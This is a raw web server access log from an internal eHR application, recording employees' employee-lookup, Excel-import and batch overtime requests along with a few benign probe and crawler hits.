192.168.11.68 - - [06/Sep/2025:08:42:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47632166459469094 HTTP/1.1" 200 27500
192.168.11.68 - - [06/Sep/2025:08:42:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47632166459469094 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47632166459469094" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [06/Sep/2025:08:42:12 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:12 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476 HTTP/1.1" 200 5264
100.64.0.1 - - [06/Sep/2025:08:42:15 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:08:42:15 +0800] "\x03" 501 203 "-" "-"
192.168.11.64 - - [06/Sep/2025:08:42:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476 HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700
192.168.11.64 - - [06/Sep/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9927539547971476" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [06/Sep/2025:08:42:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:42:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281
192.168.11.64 - - [06/Sep/2025:08:42:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5301
192.168.11.64 - - [06/Sep/2025:08:42:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5301 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:42:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:42:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:42:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:42:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.690061861279119 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.690061861279119 HTTP/1.1" 200 8988
192.168.11.64 - - [06/Sep/2025:08:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583 HTTP/1.1" 200 5264
192.168.11.64 - - [06/Sep/2025:08:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:43:12 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:43:12 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583 HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:08:43:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.690061861279119 HTTP/1.1" 200 27500
192.168.11.68 - - [06/Sep/2025:08:43:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.690061861279119 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.690061861279119" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [06/Sep/2025:08:43:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14712
192.168.11.64 - - [06/Sep/2025:08:43:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14712 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.24084822814571583" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:43:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:43:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:08:43:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131095%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131095&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:43:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131095%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131095&target=iframe HTTP/1.1" 200 3251
192.168.11.68 - - [06/Sep/2025:08:43:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:43:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.64 - - [06/Sep/2025:08:44:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131095 HTTP/1.1" 200 5331
192.168.11.64 - - [06/Sep/2025:08:44:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131095 HTTP/1.1" 200 5331 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131095%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131095&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:44:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131095&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 18206
192.168.11.64 - - [06/Sep/2025:08:44:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131095&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 18206 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=131095" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:44:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:44:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493
192.168.11.64 - - [06/Sep/2025:08:44:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 66939 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:44:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 66939
192.168.12.100 - - [06/Sep/2025:08:45:14 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:14 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.100 - - [06/Sep/2025:08:45:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.100 - - [06/Sep/2025:08:45:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.100 - - [06/Sep/2025:08:45:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.100 - - [06/Sep/2025:08:45:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.100 - - [06/Sep/2025:08:45:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167565 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [06/Sep/2025:08:45:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167565
192.168.11.68 - - [06/Sep/2025:08:46:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:46:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:46:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5090148099912368 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:46:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5090148099912368 HTTP/1.1" 200 8988
192.168.11.68 - - [06/Sep/2025:08:46:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5090148099912368 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5090148099912368" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:46:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5090148099912368 HTTP/1.1" 200 27500
192.168.11.68 - - [06/Sep/2025:08:46:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4486 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:46:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4486
192.168.11.68 - - [06/Sep/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921
192.168.11.68 - - [06/Sep/2025:08:47:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16350 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:47:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16350
192.168.11.68 - - [06/Sep/2025:08:47:11 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:47:11 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
100.64.0.1 - - [06/Sep/2025:08:49:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:49:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:08:50:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:50:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:00:47 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)"
100.64.0.1 - - [06/Sep/2025:09:00:47 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [06/Sep/2025:09:02:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
